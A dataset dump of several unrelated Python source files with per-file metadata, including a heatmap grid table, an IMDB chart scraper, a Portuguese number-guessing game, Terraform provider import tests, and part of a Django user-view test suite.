0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF ]

99.881473

100

0.633766

13,744

86,797

4.002183

0.005093

1.446097

1.989383

2.450642

0.979457

0.976984

0.976257

0.976039

0.975385

0.974512

0

0.251876

0.207899

86,797

868

101

99.996544

0.548188

0.000173

0

0.483237

0

0.633141

0

1

0

false

0

null

1

0

1

0

null

0

1

0

11

50335e9e01c5a7b37fc3c6fca9d77915f94542d4

5,441

py

Python

HeatmapPointData.py

utkarsh-maheshwari/SIH-Sbmission

80e3c727fc69a5cd27ae99cbf6d56380c8353099

[ "Apache-2.0" ]

null

HeatmapPointData.py

utkarsh-maheshwari/SIH-Sbmission

80e3c727fc69a5cd27ae99cbf6d56380c8353099

[ "Apache-2.0" ]

null

HeatmapPointData.py

utkarsh-maheshwari/SIH-Sbmission

80e3c727fc69a5cd27ae99cbf6d56380c8353099

[ "Apache-2.0" ]

null

def getGrid(Grid): Data = { 'A' : [[1.42, 9.08, 1.42], [9.08, 57.91, 9.08], [1.42, 9.08, 1.42]], 'B' : [[0.15, 1.78, 1.78, 0.15], [1.78, 21.28, 21.28, 1.78], [1.78, 21.28, 21.28, 1.78], [0.15, 1.78, 1.78, 0.15]], 'C' : [[0.03, 0.38, 0.88, 0.38, 0.03], [0.38, 4.97, 11.59, 4.97, 0.38], [0.88, 11.59, 27.05, 11.59, 0.88], [0.38, 4.97, 11.59, 4.97, 0.38], [0.03, 0.38, 0.88, 0.38, 0.03]], 'D' : [[0.01, 0.10, 0.34, 0.34, 0.10, 0.01], [0.10, 1.22, 4.19, 4.19, 1.22, 0.10], [0.34, 4.19, 14.48, 14.48, 4.19, 0.34], [0.34, 4.19, 14.48, 14.48, 4.19, 0.34], [0.10, 1.22, 4.19, 4.19, 1.22, 0.10], [0.01, 0.10, 0.34, 0.34, 0.10, 0.01]], 'E' : [[0, 0.03, 0.14, 0.22, 0.14, 0.03, 0], [0.03, 0.35, 1.43, 2.29, 1.43, 0.35, 0.03], [0.14, 1.43, 5.85, 9.34, 5.85, 1.43, 0.14], [0.22, 2.29, 9.34, 14.91, 9.34, 2.29, 0.22], [0.14, 1.43, 5.85, 9.34, 5.85, 1.43, 0.14], [0.03, 0.35, 1.43, 2.29, 1.43, 0.35, 0.03], [0, 0.03, 0.14, 0.22, 0.14, 0.03, 0]], 'F' : [[0, 0.01, 0.06, 0.12, 0.12, 0.06, 0.01, 0], [0.01, 0.12, 0.52, 1.08, 1.08, 0.52, 0.12, 0.01], [0.06, 0.52, 2.25, 4.67, 4.67, 2.25, 0.52, 0.06], [0.12, 1.08, 4.67, 9.70, 9.70, 4.67, 1.08, 0.12], [0.12, 1.08, 4.67, 9.70, 9.70, 4.67, 1.08, 0.12], [0.06, 0.52, 2.25, 4.67, 4.67, 2.25, 0.52, 0.06], [0.01, 0.12, 0.52, 1.08, 1.08, 0.52, 0.12, 0.01], [0, 0.01, 0.06, 0.12, 0.12, 0.06, 0.01, 0]], 'G' : [[0, 0.0, 1, 0.03, 0.06, 0.09, 0.06, 0.03, 0.01, 0], [0.01, 0.05, 0.21, 0.50, 0.67, 0.50, 0.21, 0.05, 0.01], [0.03, 0.21, 0.90, 2.16, 2.89, 2.16, 0.90, 0.21, 0.03], [0.06, 0.50, 2.16, 5.19, 6.96, 5.19, 2.16, 0.50, 0.06], [0.09, 0.67, 2.89, 6.96, 9.32, 6.96, 2.89, 0.67, 0.09], [0.06, 0.50, 2.16, 5.19, 6.96, 5.19, 2.16, 0.50, 0.06], [0.03, 0.21, 0.90, 2.16, 2.89, 2.16, 0.90, 0.21, 0.03], [0.01, 0.05, 0.21, 0.50, 0.67, 0.50, 0.21, 0.05, 0.01], [0, 0.0, 1, 0.03, 0.06, 0.09, 0.06, 0.03, 0.01, 0]], 'H' : [[0, 0, 0.01, 0.03, 0.06, 0.06, 0.03, 0.01, 0, 0], [0, 0.02, 0.09, 0.24, 0.38, 0.38, 0.24, 0.09, 0.02, 0], [0.01, 0.09, 0.38, 1, 1.61, 1.61, 1, 0.38, 0.09, 0.01], [0.03, 0.24, 1, 2.6, 4.19, 4.19, 2.6, 1, 0.24, 0.03], [0.06, 0.38, 1.61, 4.19, 6.76, 6.76, 4.19, 1.61, 0.38, 0.06], [0.06, 0.38, 1.61, 4.19, 6.76, 6.76, 4.19, 1.61, 0.38, 0.06], [0.03, 0.24, 1, 2.6, 4.19, 4.19, 2.6, 1, 0.24, 0.03], [0.01, 0.09, 0.38, 1, 1.61, 1.61, 1, 0.38, 0.09, 0.01], [0, 0.02, 0.09, 0.24, 0.38, 0.38, 0.24, 0.09, 0.02, 0], [0, 0, 0.01, 0.03, 0.06, 0.06, 0.03, 0.01, 0, 0]], 'I' : [[0, 0, 0.01, 0.02, 0.04, 0.04, 0.04, 0.02, 0.01, 0], [0, 0.01, 0.04, 0.12, 0.21, 0.26, 0.21, 0.12, 0.04, 0.01, 0], [0.01, 0.04, 0.18, 0.48, 0.86, 1.06, 0.86, 0.48, 0.18, 0.04, 0.01], [0.02, 0.12, 0.48, 1.29, 2.34, 2.86, 2.34, 1.29, 0.48, 0.12, 0.02], [0.04, 0.21, 0.86, 2.34, 4.26, 5.20, 4.26, 2.34, 0.86, 0.21, 0.04], [0.04, 0.26, 1.06, 2.86, 5.20, 6.34, 5.20, 1.06, 2.86, 0.26, 0.04], [0.04, 0.21, 0.86, 2.34, 4.26, 5.20, 4.26, 2.34, 0.86, 0.21, 0.04], [0.02, 0.12, 0.48, 1.29, 2.34, 2.86, 2.34, 1.29, 0.48, 0.12, 0.02], [0.01, 0.04, 0.18, 0.48, 0.86, 1.06, 0.86, 0.48, 0.18, 0.04, 0.01], [0, 0.01, 0.04, 0.12, 0.21, 0.26, 0.21, 0.12, 0.04, 0.01, 0], [0, 0, 0.01, 0.02, 0.04, 0.04, 0.04, 0.02, 0.01, 0]], 'J' : [[0, 0, 0, 0.01, 0.02, 0.03, 0.03, 0.02, 0.01, 0, 0, 0], [0, 0.01, 0.02, 0.06, 0.12, 0.17, 0.17, 0.12, 0.06, 0.02, 0.01, 0], [0, 0.02, 0, 0.24, 0.47, 0.65, 0.65, 0.47, 0.24, 0, 0.02, 0], [0.01, 0.06, 0.24, 0.65, 1.28, 1.79, 1.79, 1.28, 0.65, 0.24, 0.06, 0.01], [0.02, 0.12, 0.47, 1.28, 2.51, 3.52, 3.52, 2.51, 1.28, 0.47, 0.12, 0.02], [0.03, 0.17, 0.65, 1.79, 3.52, 4.93, 4.93, 3.52, 1.79, 0.65, 0.17, 0.03], [0.03, 0.17, 0.65, 1.79, 3.52, 4.93, 4.93, 3.52, 1.79, 0.65, 0.17, 0.03], [0.02, 0.12, 0.47, 1.28, 2.51, 3.52, 3.52, 2.51, 1.28, 0.47, 0.12, 0.02], [0.01, 0.06, 0.24, 0.65, 1.28, 1.79, 1.79, 1.28, 0.65, 0.24, 0.06, 0.01], [0, 0.02, 0, 0.24, 0.47, 0.65, 0.65, 0.47, 0.24, 0, 0.02, 0], [0, 0.01, 0.02, 0.06, 0.12, 0.17, 0.17, 0.12, 0.06, 0.02, 0.01, 0], [0, 0, 0, 0.01, 0.02, 0.03, 0.03, 0.02, 0.01, 0, 0, 0]] } return Data[Grid]

67.17284

93

0.340011

1,239

5,441

1.49314

0.062954

0.058378

0.105946

0.045946

0.92973

0.923243

0.91027

0.882162

0

0.551388

0.397353

5,441

80

94

68.0125

0.012809

0

0.649351

0

0.001838

0

1

0.012987

false

0

0.025974

0

1

null

0

1

0

1

0

1

0

null

0

9

acaffca602ba1c5c557c4fc0b984ec3f7d6bc723

156

py

Python

platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/viper/calculators/calc_legacy_vars.py

PascalGuenther/gecko_sdk

2e82050dc8823c9fe0e8908c1b2666fb83056230

[ "Zlib" ]

82

2016-06-29T17:24:43.000Z

2021-04-16T06:49:17.000Z

platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/viper/calculators/calc_legacy_vars.py

PascalGuenther/gecko_sdk

2e82050dc8823c9fe0e8908c1b2666fb83056230

[ "Zlib" ]

6

2022-01-12T18:22:08.000Z

2022-03-25T10:19:27.000Z

platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/viper/calculators/calc_legacy_vars.py

PascalGuenther/gecko_sdk

2e82050dc8823c9fe0e8908c1b2666fb83056230

[ "Zlib" ]

56

2016-08-02T10:50:50.000Z

2021-07-19T08:57:34.000Z

from pyradioconfig.parts.bobcat.calculators.calc_legacy_vars import Calc_Legacy_Vars_Bobcat class calc_legacy_vars_viper(Calc_Legacy_Vars_Bobcat): pass

39

91

0.884615

23

156

5.521739

0.521739

0.314961

0.440945

0.314961

0

0.070513

156

4

92

39

0.875862

0

1

0

true

0.333333

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

9

4a00754d76cacfc1ee6bb738576ea5333af93d19

114

py

Python

month01/all_code/day15/package01/package02/__init__.py

chaofan-zheng/tedu-python-demo

abe983ddc52690f4726cf42cc6390cba815026d8

[ "Apache-2.0" ]

4

2021-01-07T14:25:15.000Z

2021-02-01T10:36:10.000Z

month01/all_code/day15/package01/package02/__init__.py

chaofan-zheng/tedu-python-demo

abe983ddc52690f4726cf42cc6390cba815026d8

[ "Apache-2.0" ]

null

month01/all_code/day15/package01/package02/__init__.py

chaofan-zheng/tedu-python-demo

abe983ddc52690f4726cf42cc6390cba815026d8

[ "Apache-2.0" ]

null

import package01.package02.module02 from package01.package02.module02 import func01 def xxx(): print("大傻X")

16.285714

47

0.77193

14

114

6.285714

0.714286

0.409091

0.590909

0

0.141414

0.131579

114

7

48

16.285714

0.747475

0

0.026316

0

1

0.25

true

0

0.5

0

0.75

0.25

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

4a1a7722274bfd7b333b96412ddc86e49d966dd0

208

py

Python

spockpy/config/__init__.py

gavindsouza/spockpy

8664550d46be088a5ef8439220353ba4c33893f8

[ "Apache-2.0" ]

58

2017-03-25T05:52:23.000Z

2021-09-11T08:16:14.000Z

spockpy/config/__init__.py

gavindsouza/spockpy

8664550d46be088a5ef8439220353ba4c33893f8

[ "Apache-2.0" ]

4

2017-08-16T13:51:57.000Z

2018-06-12T08:09:17.000Z

spockpy/config/__init__.py

gavindsouza/spockpy

8664550d46be088a5ef8439220353ba4c33893f8

[ "Apache-2.0" ]

18

2017-03-26T18:26:21.000Z

2021-03-25T23:08:17.000Z

# module - spockpy.config # imports - compatibility imports from __future__ import absolute_import # imports - module imports from spockpy.config.base import Config from spockpy.config.app import AppConfig

26

41

0.8125

26

208

6.307692

0.461538

0.237805

0.207317

0

0.134615

208

8

41

26

0.911111

0.384615

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

4a1a802518ab8315af45466eec97e5dfda31e5d7

1,147

py

Python

tests/test_provider_gavinbunney_kubectl.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

507

2017-07-26T02:58:38.000Z

2022-01-21T12:35:13.000Z

tests/test_provider_gavinbunney_kubectl.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

135

2017-07-20T12:01:59.000Z

2021-10-04T22:25:40.000Z

tests/test_provider_gavinbunney_kubectl.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

81

2018-02-20T17:55:28.000Z

2022-01-31T07:08:40.000Z

# tests/test_provider_gavinbunney_kubectl.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:20:27 UTC) def test_provider_import(): import terrascript.provider.gavinbunney.kubectl def test_resource_import(): from terrascript.resource.gavinbunney.kubectl import kubectl_manifest from terrascript.resource.gavinbunney.kubectl import kubectl_server_version def test_datasource_import(): from terrascript.data.gavinbunney.kubectl import kubectl_file_documents from terrascript.data.gavinbunney.kubectl import kubectl_filename_list from terrascript.data.gavinbunney.kubectl import kubectl_path_documents from terrascript.data.gavinbunney.kubectl import kubectl_server_version # TODO: Shortcut imports without namespace for official and supported providers. # TODO: This has to be moved into a required_providers block. # def test_version_source(): # # import terrascript.provider.gavinbunney.kubectl # # t = terrascript.provider.gavinbunney.kubectl.kubectl() # s = str(t) # # assert 'https://github.com/gavinbunney/terraform-provider-kubectl' in s # assert '1.11.3' in s

31

80

0.787271

144

1,147

6.111111

0.451389

0.204545

0.163636

0.211364

0.497727

0.4

0.370455

0.134091

0

0.016162

0.136879

1,147

36

81

31.861111

0.872727

0.446382

0

1

0

0.027778

0

1

0.3

true

0

1

0

1.3

0

null

1

0

1

0

1

0

null

0

1

0

1

0

1

0

1

0

8

4a27ee948763d760f453b3f9591ab291b6b0c303

213

py

Python

simple_peewee_flask_webapi/__init__.py

prbpedro/simple_peewee_flask_webapi

9f70e2cf034d2ff53b6c730f1362e03a37cc9a59

[ "MIT" ]

null

simple_peewee_flask_webapi/__init__.py

prbpedro/simple_peewee_flask_webapi

9f70e2cf034d2ff53b6c730f1362e03a37cc9a59

[ "MIT" ]

null

simple_peewee_flask_webapi/__init__.py

prbpedro/simple_peewee_flask_webapi

9f70e2cf034d2ff53b6c730f1362e03a37cc9a59

[ "MIT" ]

null

from simple_peewee_flask_webapi import app_models from simple_peewee_flask_webapi import simple_table from simple_peewee_flask_webapi import join_table from simple_peewee_flask_webapi import application_start

42.6

57

0.906103

32

213

5.53125

0.375

0.225989

0.361582

0.474576

0.80226

0.429379

0

0.093897

213

4

58

53.25

0.917098

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

9

c5b195abfb23c6e8503030f80b91c0b2bd23fb30

4,336

py

Python

scrape_IMDB.py

rupav/Scraping-From-IMDB

5a89d1db445df287af86c6d97af8103fddbeaebc

[ "MIT" ]

null

scrape_IMDB.py

rupav/Scraping-From-IMDB

5a89d1db445df287af86c6d97af8103fddbeaebc

[ "MIT" ]

1

2017-07-17T04:14:22.000Z

scrape_IMDB.py

rupav/Scraping-From-IMDB

5a89d1db445df287af86c6d97af8103fddbeaebc

[ "MIT" ]

1

2019-03-25T21:32:48.000Z

import urllib import urllib.request as uReq site = "http://www.imdb.com/chart/tvmeter" uClient = uReq.urlopen(site) page_html = uClient.read() uClient.close() import bs4 from bs4 import BeautifulSoup import pickle # important to save data soup = BeautifulSoup(page_html,"html.parser") containers = soup.findAll("tbody",{"class":"lister-list"}) print(len(containers)) #1 print(type(containers[0])) rows = containers[0].findAll("tr") dataSet = { 'Name Of Show':[], 'Year Of Release':[], 'Ranking Change_Jump':[], 'Change':[], 'Users_count':[], 'Rating':[] } file = open("csvfile.csv","w+") file.write('Name Of Show'+','+'Year Of Release'+','+'Ranking Change_Jump'+','+'Change'+','+'Users_count'+','+'Rating'+'\n') for i in range(len(rows)): dataSet['Name Of Show'].append(rows[i].find("td",{"class":"titleColumn"}).find("a").text) dataSet['Year Of Release'].append(int(rows[i].find("td",{"class":"titleColumn"}).find("span").text.split('(')[1].split(')')[0])) if (rows[i].find("td",{"class":"titleColumn"}).find("div").text.split('(')[1].split(')')[0] == 'no change'): dataSet['Ranking Change_Jump'].append('0') else: dataSet['Ranking Change_Jump'].append(rows[i].find("td",{"class":"titleColumn"}).find("div").text.split('(')[1].split(')')[0].split('\n')[2].replace(',','')) if (rows[i].find("td",{"class":"titleColumn"}).find("div").find("span") == None): dataSet['Change'].append('no change') else: dataSet['Change'].append(rows[i].find("td",{"class":"titleColumn"}).find("div").findAll("span")[1].attrs['class'][2]) try : dataSet['Users_count'].append(str(int(rows[i].find("td",{"class":["ratingColumn","imdbRating"]}).find("strong")['title'].split()[3].replace(',','')))) except TypeError: dataSet['Users_count'].append("") dataSet['Rating'].append(rows[i].find("td",{"class":["ratingColumn","imdbRating"]}).text.split('\n')[1]) file.write(str(dataSet['Name Of Show'][i])+","+str(dataSet['Year Of Release'][i])+","+str(dataSet['Ranking Change_Jump'][i])+","+str(dataSet['Change'][i])+","+str(dataSet['Users_count'][i])+","+str(dataSet['Rating'][i])+"\n") file.close() site = "http://www.imdb.com/chart/moviemeter" uClient = uReq.urlopen(site) page_html = uClient.read() uClient.close() soup = BeautifulSoup(page_html,"html.parser") containers = soup.findAll("tbody",{"class":"lister-list"}) print(len(containers)) #1 print(type(containers[0])) rows = containers[0].findAll("tr") dataSet = { 'Name Of Movie':[], 'Year Of Release':[], 'Ranking Change_Jump':[], 'Change':[], 'Users_count':[], 'Rating':[] } file = open("csvfileMovies.csv","w+") file.write('Name Of Movie'+','+'Year Of Release'+','+'Ranking Change_Jump'+','+'Change'+','+'Users_count'+','+'Rating'+'\n') for i in range(len(rows)): dataSet['Name Of Movie'].append(rows[i].find("td",{"class":"titleColumn"}).find("a").text) dataSet['Year Of Release'].append(int(rows[i].find("td",{"class":"titleColumn"}).find("span").text.split('(')[1].split(')')[0])) if (rows[i].find("td",{"class":"titleColumn"}).find("div").text.split('(')[1].split(')')[0] == 'no change'): dataSet['Ranking Change_Jump'].append('0') else: dataSet['Ranking Change_Jump'].append(rows[i].find("td",{"class":"titleColumn"}).find("div").text.split('(')[1].split(')')[0].split('\n')[2].replace(',','')) if (rows[i].find("td",{"class":"titleColumn"}).find("div").find("span") == None): dataSet['Change'].append('no change') else: dataSet['Change'].append(rows[i].find("td",{"class":"titleColumn"}).find("div").findAll("span")[1].attrs['class'][2]) try : dataSet['Users_count'].append(str(int(rows[i].find("td",{"class":["ratingColumn","imdbRating"]}).find("strong")['title'].split()[3].replace(',','')))) except TypeError: dataSet['Users_count'].append("") dataSet['Rating'].append(rows[i].find("td",{"class":["ratingColumn","imdbRating"]}).text.split('\n')[1]) file.write(str(dataSet['Name Of Movie'][i])+","+str(dataSet['Year Of Release'][i])+","+str(dataSet['Ranking Change_Jump'][i])+","+str(dataSet['Change'][i])+","+str(dataSet['Users_count'][i])+","+str(dataSet['Rating'][i])+"\n") file.close()

34.412698

228

0.601476

565

4,336

4.573451

0.164602

0.03096

0.055728

0.068111

0.938854

0.910991

0

0.008342

0.115314

4,336

125

229

34.688

0.665276

0.005766

0

0.759494

0

0.311095

0

1

0

false

0

0.063291

0

0.063291

0.050633

0

null

0

1

0

1

0

null

0

7

c5b9068438f789a30aad1d998110c4d909e70c50

49

py

Python

int_to_str.py

shrikantdaund0693/Simple-program

65c7f4100839923176d3456222dbb52386fc71e7

[ "Apache-2.0" ]

null

int_to_str.py

shrikantdaund0693/Simple-program

65c7f4100839923176d3456222dbb52386fc71e7

[ "Apache-2.0" ]

null

int_to_str.py

shrikantdaund0693/Simple-program

65c7f4100839923176d3456222dbb52386fc71e7

[ "Apache-2.0" ]

1

2020-10-18T09:14:39.000Z

def convert_int_to_str(num): return str(num)

16.333333

28

0.734694

9

49

3.666667

0.777778

0.363636

0

0.163265

49

2

29

24.5

0.804878

0

1

0.5

false

0

0.5

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

680ad97cf98f552c4e87cc971fd0016234081011

2,704

py

Python

divination_game.py

oliveira-cmd/games_in_python

5aa9712fea880246e644076896db276a725e7685

[ "MIT" ]

null

divination_game.py

oliveira-cmd/games_in_python

5aa9712fea880246e644076896db276a725e7685

[ "MIT" ]

null

divination_game.py

oliveira-cmd/games_in_python

5aa9712fea880246e644076896db276a725e7685

[ "MIT" ]

null

from random import randint print('-=-' * 20) jogar = str(input('Vou pensar em um numero entre 0 e 5, Quer tentar adivinhar? ')) print('-=-' * 20) if jogar == 'S': jogador_placar = 0 computador_placar = 0 while True: computador = randint(0, 5) # faz a maquina sortear um numero entre 0 e 5 jogador = int(input('Em que numero eu pensei? ')) if jogador == computador: print('Parabens, você ganhou, nós dois pensamos no numero {}'.format(computador)) jogador_placar = jogador_placar + 1 print('Agora o jogo está:\n') print('Computador : {} e Jogador: {}'.format(computador_placar, jogador_placar)) jogar = input('Quer Continuar? S/N ') if jogar == 'N': if jogador_placar > computador_placar: print('Parabens Genio, você ganhou') print('Placar Final Computador: {} e Jogador {} '.format(computador_placar, jogador_placar)) else: if computador_placar > jogador_placar: print('Melhor parar antes de perder o caminho de casa') print('Placar Final Computador: {} e Jogador {} '.format(computador_placar, jogador_placar)) else: print('Foi um bom jogo, acabamos empatados') print('Placar Final Computador: {} e Jogador {} '.format(computador_placar, jogador_placar)) break else: print('Errou, eu pensei no numero {} e não no numero {}'.format(computador, jogador)) computador_placar = computador_placar + 1 print('Agora o jogo está:\n') print('Computador : {} e Jogador: {}'.format(computador_placar, jogador_placar)) jogar = input('Quer Continuar? S/N ') if jogar == 'N': if jogador_placar > computador_placar: print('Parabens Genio, você ganhou') print('Placar Final Computador: {} e Jogador {} '.format(computador_placar, jogador_placar)) else: if computador_placar > jogador_placar: print('Melhor parar antes de perder o caminho de casa') print('Placar Final Computador: {} e Jogador {} '.format(computador_placar, jogador_placar)) else: print('Foi um bom jogo, acabamos empatados') print('Placar Final Computador: {} e Jogador {} '.format(computador_placar, jogador_placar)) break else: print('Medroso')

55.183673

119

0.546967

281

2,704

5.156584

0.245552

0.134576

0.144237

0.200138

0.774327

0.731539

0.709455

0

0.008028

0.35503

2,704

48

120

56.333333

0.822821

0.015902

0

0.708333

0

0.313673

0

1

0

false

0

0.020833

0

0.020833

0.4375

0

null

0

1

0

1

0

1

0

null

0

1

0

8

a86fc9f43ef7edb91f5879d5f287036772179169

21,019

py

Python

user/tests/test_view.py

syucream/airone

ce3c199f23c595a7c029ee52b57297b3666343e3

[ "MIT" ]

null

user/tests/test_view.py

syucream/airone

ce3c199f23c595a7c029ee52b57297b3666343e3

[ "MIT" ]

2

2021-02-28T05:04:18.000Z

2021-05-01T07:00:57.000Z

user/tests/test_view.py

syucream/airone

ce3c199f23c595a7c029ee52b57297b3666343e3

[ "MIT" ]

null

import json from django.test import TestCase, Client from django.urls import reverse from user.forms import UsernameBasedPasswordResetForm from user.models import User from user.views import PasswordReset from xml.etree import ElementTree class ViewTest(TestCase): def setUp(self): self._client = Client() self.guest = self._create_user('guest', 'guest@example.com') self.admin = self._create_user('admin', 'admin@example.com', True) def _create_user(self, name, email='email', is_superuser=False, authenticate_type=User.AUTH_TYPE_LOCAL): user = User(username=name, email=email, is_superuser=is_superuser, authenticate_type=authenticate_type) user.set_password(name) user.save() return user def _admin_login(self): self.client.login(username='admin', password='admin') def _guest_login(self): self.client.login(username='guest', password='guest') def _get_active_user_count(self): return User.objects.filter(is_active=True).count() def test_index_without_login(self): resp = self.client.get(reverse('user:index')) self.assertEqual(resp.status_code, 303) def test_index_with_guest(self): self._guest_login() resp = self.client.get(reverse('user:index')) self.assertEqual(resp.status_code, 200) self.assertEqual(resp.context['users'], [self.guest]) def test_index_with_admin(self): self._admin_login() resp = self.client.get(reverse('user:index')) self.assertEqual(resp.status_code, 200) self.assertEqual(list(resp.context['users']), [self.guest, self.admin]) root = ElementTree.fromstring(resp.content.decode('utf-8')) self.assertIsNotNone(root.find('.//table')) self.assertEqual(len(root.findall('.//tbody/tr')), self._get_active_user_count()) def test_create_get_without_login(self): resp = self.client.get(reverse('user:create')) self.assertEqual(resp.status_code, 303) def test_create_get_with_login(self): self._admin_login() resp = self.client.get(reverse('user:create')) self.assertEqual(resp.status_code, 200) root = ElementTree.fromstring(resp.content.decode('utf-8')) self.assertIsNotNone(root.find('.//form')) def test_create_post_without_login(self): count = User.objects.count() params = { 'name': 'hoge', 'email': 'hoge@example.com', 'passwd': 'puyo', } resp = self.client.post(reverse('user:do_create'), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 401) self.assertEqual(User.objects.count(), count) # user should not be created def test_create_user_without_permission(self): # request of creating an user requires administrative permission self._guest_login() params = { 'name': 'hoge', 'email': 'hoge@example.com', 'passwd': 'puyo', } resp = self.client.post(reverse('user:do_create'), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 400) self.assertEqual(resp.content.decode('utf-8'), 'This page needs administrative permission to access') def test_create_post_with_login(self): count = User.objects.count() self._admin_login() params = { 'name': 'hoge', 'email': 'hoge@example.com', 'passwd': 'puyo', } resp = self.client.post(reverse('user:do_create'), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 200) self.assertEqual(User.objects.count(), count + 1) # user should be created self.assertEqual(User.objects.last().username, 'hoge') self.assertNotEqual(User.objects.last().password, 'puyo') self.assertFalse(User.objects.last().is_superuser) def test_create_user_without_mandatory_param(self): count = User.objects.count() self._admin_login() params = { 'email': 'hoge@example.com', 'passwd': 'puyo', } resp = self.client.post(reverse('user:do_create'), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 400) self.assertEqual(User.objects.count(), count) # user should not be created def test_create_user_with_empty_param(self): count = User.objects.count() self._admin_login() params = { 'user': 'hoge', 'email': '', 'passwd': 'puyo', } resp = self.client.post(reverse('user:do_create'), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 400) self.assertEqual(User.objects.count(), count) # user should be created def test_edit_get_without_login(self): resp = self.client.get(reverse('user:edit', args=[0])) self.assertEqual(resp.status_code, 303) def test_edit_get_with_login(self): self._admin_login() user = User.objects.get(username='guest') resp = self.client.get(reverse('user:edit', args=[user.id])) self.assertEqual(resp.status_code, 200) root = ElementTree.fromstring(resp.content.decode('utf-8')) self.assertIsNotNone(root.find('.//form')) # checks that we can't find AccessToken of other's self.assertFalse(any(['AccessToken' == x.text for x in root.findall('.//table/tr/th')])) def test_edit_get_for_logined_user(self): self._admin_login() user = User.objects.get(username='admin') resp = 